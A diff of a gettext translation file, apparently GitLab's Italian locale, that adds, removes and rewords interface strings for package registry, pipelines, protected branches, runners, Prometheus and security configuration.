@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Nessuna Repository"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Notifica eventi"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Totale:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "con stadio"
msgid "Pipeline|with stages"
msgstr "con più stadi"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr "Dettagli del progetto"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Mai"
-msgid "ProjectLifecycle|Stage"
-msgstr "Stadio"
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr "Ricerco e configuro le metriche..."
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr "Variabile d'ambiente mancante"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Ulteriori informazioni"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|What are protected tags?"
msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Issues Correlati"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Salva pianificazione pipeline"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Seleziona una branch di destinazione"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
